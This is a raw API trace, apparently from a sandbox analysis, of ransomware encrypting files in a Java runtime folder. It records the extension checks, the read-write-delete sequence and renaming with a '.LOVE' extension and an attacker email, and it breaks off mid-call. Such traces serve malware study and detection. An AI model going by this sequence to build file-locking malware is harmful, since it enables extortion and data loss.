[0202.288] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.288] lstrlenW (lpString=".zip") returned 4 [0202.288] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.288] lstrlenW (lpString=".rar") returned 4 [0202.288] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.288] lstrlenW (lpString=".bz2") returned 4 [0202.288] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.288] lstrlenW (lpString=".7z") returned 3 [0202.288] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.288] lstrlenW (lpString=".dbf") returned 4 [0202.288] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.288] lstrlenW (lpString=".1cd") returned 4 [0202.288] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.288] lstrlenW (lpString=".jpg") returned 4 [0202.288] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.289] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0202.289] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23 [0202.289] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.289] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=147) returned 1 [0202.289] CloseHandle (hObject=0x300) returned 1 [0202.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0202.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.290] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.290] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0202.290] GetLastError () returned 0x0 [0202.290] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x93, lpOverlapped=0x0) returned 1 [0202.291] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xa0, lpOverlapped=0x0) returned 1 [0202.292] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.292] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x102, lpOverlapped=0x0) returned 1 [0202.292] SetEndOfFile (hFile=0x2c4) returned 1 [0202.292] CloseHandle (hObject=0x2c4) returned 1 [0202.296] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.296] SetEndOfFile (hFile=0x300) returned 1 [0202.297] CloseHandle (hObject=0x300) returned 1 [0202.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.297] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0202.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.297] lstrlenW (lpString=".doc") returned 4 [0202.297] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.297] lstrlenW (lpString=".docx") returned 5 [0202.297] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.297] lstrlenW (lpString=".pdf") returned 4 [0202.297] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.297] lstrlenW (lpString=".xls") returned 4 [0202.297] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.297] lstrlenW (lpString=".xlsx") returned 5 [0202.297] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.298] lstrlenW (lpString=".ppt") returned 4 [0202.298] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.298] lstrlenW (lpString=".zip") returned 4 [0202.298] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.298] lstrlenW (lpString=".rar") returned 4 [0202.298] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.298] lstrlenW (lpString=".bz2") returned 4 [0202.298] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.298] lstrlenW (lpString=".7z") returned 3 [0202.298] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.298] lstrlenW (lpString=".dbf") returned 4 [0202.298] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.298] lstrlenW (lpString=".1cd") returned 4 [0202.298] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.298] lstrlenW (lpString=".jpg") returned 4 [0202.298] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.298] lstrlenW (lpString=".doc") returned 4 [0202.298] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.298] lstrlenW (lpString=".docx") returned 5 [0202.298] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.298] lstrlenW (lpString=".pdf") returned 4 [0202.298] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.298] lstrlenW (lpString=".xls") returned 4 [0202.298] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.298] lstrlenW (lpString=".xlsx") returned 5 [0202.298] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.298] lstrlenW (lpString=".ppt") returned 4 [0202.299] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.299] lstrlenW (lpString=".zip") returned 4 [0202.299] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.299] lstrlenW (lpString=".rar") returned 4 [0202.299] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.299] lstrlenW (lpString=".bz2") returned 4 [0202.299] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.299] lstrlenW (lpString=".7z") returned 3 [0202.299] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.299] lstrlenW (lpString=".dbf") returned 4 [0202.299] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.299] lstrlenW (lpString=".1cd") returned 4 [0202.299] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0202.299] lstrlenW (lpString=".jpg") returned 4 [0202.299] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.299] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0202.299] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25 [0202.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.300] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=153) returned 1 [0202.300] CloseHandle (hObject=0x300) returned 1 [0202.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0202.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.300] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.300] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0202.300] GetLastError () returned 0x0 [0202.301] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x99, lpOverlapped=0x0) returned 1 [0202.301] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xa0, lpOverlapped=0x0) returned 1 [0202.302] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.302] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x106, lpOverlapped=0x0) returned 1 [0202.303] SetEndOfFile (hFile=0x2c4) returned 1 [0202.303] CloseHandle (hObject=0x2c4) returned 1 [0202.305] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.305] SetEndOfFile (hFile=0x300) returned 1 [0202.306] CloseHandle (hObject=0x300) returned 1 [0202.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.306] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0202.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.307] lstrlenW (lpString=".doc") returned 4 [0202.307] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.307] lstrlenW (lpString=".docx") returned 5 [0202.307] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.307] lstrlenW (lpString=".pdf") returned 4 [0202.307] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.307] lstrlenW (lpString=".xls") returned 4 [0202.307] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.307] lstrlenW (lpString=".xlsx") returned 5 [0202.307] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.307] lstrlenW (lpString=".ppt") returned 4 [0202.307] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.307] lstrlenW (lpString=".zip") returned 4 [0202.307] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.307] lstrlenW (lpString=".rar") returned 4 [0202.307] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.307] lstrlenW (lpString=".bz2") returned 4 [0202.307] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.307] lstrlenW (lpString=".7z") returned 3 [0202.307] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.307] lstrlenW (lpString=".dbf") returned 4 [0202.307] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.307] lstrlenW (lpString=".1cd") returned 4 [0202.307] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.307] lstrlenW (lpString=".jpg") returned 4 [0202.308] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.308] lstrlenW (lpString=".doc") returned 4 [0202.308] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.308] lstrlenW (lpString=".docx") returned 5 [0202.308] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.308] lstrlenW (lpString=".pdf") returned 4 [0202.308] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.308] lstrlenW (lpString=".xls") returned 4 [0202.308] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.308] lstrlenW (lpString=".xlsx") returned 5 [0202.308] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.308] lstrlenW (lpString=".ppt") returned 4 [0202.308] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.308] lstrlenW (lpString=".zip") returned 4 [0202.308] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.308] lstrlenW (lpString=".rar") returned 4 [0202.308] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.308] lstrlenW (lpString=".bz2") returned 4 [0202.308] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.308] lstrlenW (lpString=".7z") returned 3 [0202.308] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.308] lstrlenW (lpString=".dbf") returned 4 [0202.308] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.309] lstrlenW (lpString=".1cd") returned 4 [0202.309] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0202.309] lstrlenW (lpString=".jpg") returned 4 [0202.309] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.309] lstrcmpiW (lpString1=".txt", lpString2=".LOVE") returned 1 [0202.309] lstrlenW (lpString="jvm.hprof.txt") returned 13 [0202.309] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.309] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=4226) returned 1 [0202.309] CloseHandle (hObject=0x300) returned 1 [0202.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0202.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.309] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.310] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.310] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.310] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0202.310] GetLastError () returned 0x0 [0202.310] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1082, lpOverlapped=0x0) returned 1 [0202.840] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1090, lpOverlapped=0x0) returned 1 [0202.842] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.842] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xee, lpOverlapped=0x0) returned 1 [0202.842] SetEndOfFile (hFile=0x2c4) returned 1 [0202.842] CloseHandle (hObject=0x2c4) returned 1 [0202.843] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.843] SetEndOfFile (hFile=0x300) returned 1 [0202.844] CloseHandle (hObject=0x300) returned 1 [0202.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.844] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0202.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.844] lstrlenW (lpString=".doc") returned 4 [0202.844] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0202.844] lstrlenW (lpString=".docx") returned 5 [0202.845] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0202.845] lstrlenW (lpString=".pdf") returned 4 [0202.845] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0202.845] lstrlenW (lpString=".xls") returned 4 [0202.845] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0202.845] lstrlenW (lpString=".xlsx") returned 5 [0202.845] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0202.845] lstrlenW (lpString=".ppt") returned 4 [0202.845] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.845] lstrlenW (lpString=".zip") returned 4 [0202.845] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0202.845] lstrlenW (lpString=".rar") returned 4 [0202.845] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0202.845] lstrlenW (lpString=".bz2") returned 4 [0202.845] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0202.845] lstrlenW (lpString=".7z") returned 3 [0202.845] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.845] lstrlenW (lpString=".dbf") returned 4 [0202.845] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.845] lstrlenW (lpString=".1cd") returned 4 [0202.845] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.845] lstrlenW (lpString=".jpg") returned 4 [0202.846] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0202.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.846] lstrlenW (lpString=".doc") returned 4 [0202.846] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0202.846] lstrlenW (lpString=".docx") returned 5 [0202.846] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0202.846] lstrlenW (lpString=".pdf") returned 4 [0202.846] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0202.846] lstrlenW (lpString=".xls") returned 4 [0202.846] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0202.846] lstrlenW (lpString=".xlsx") returned 5 [0202.846] lstrcmpiW 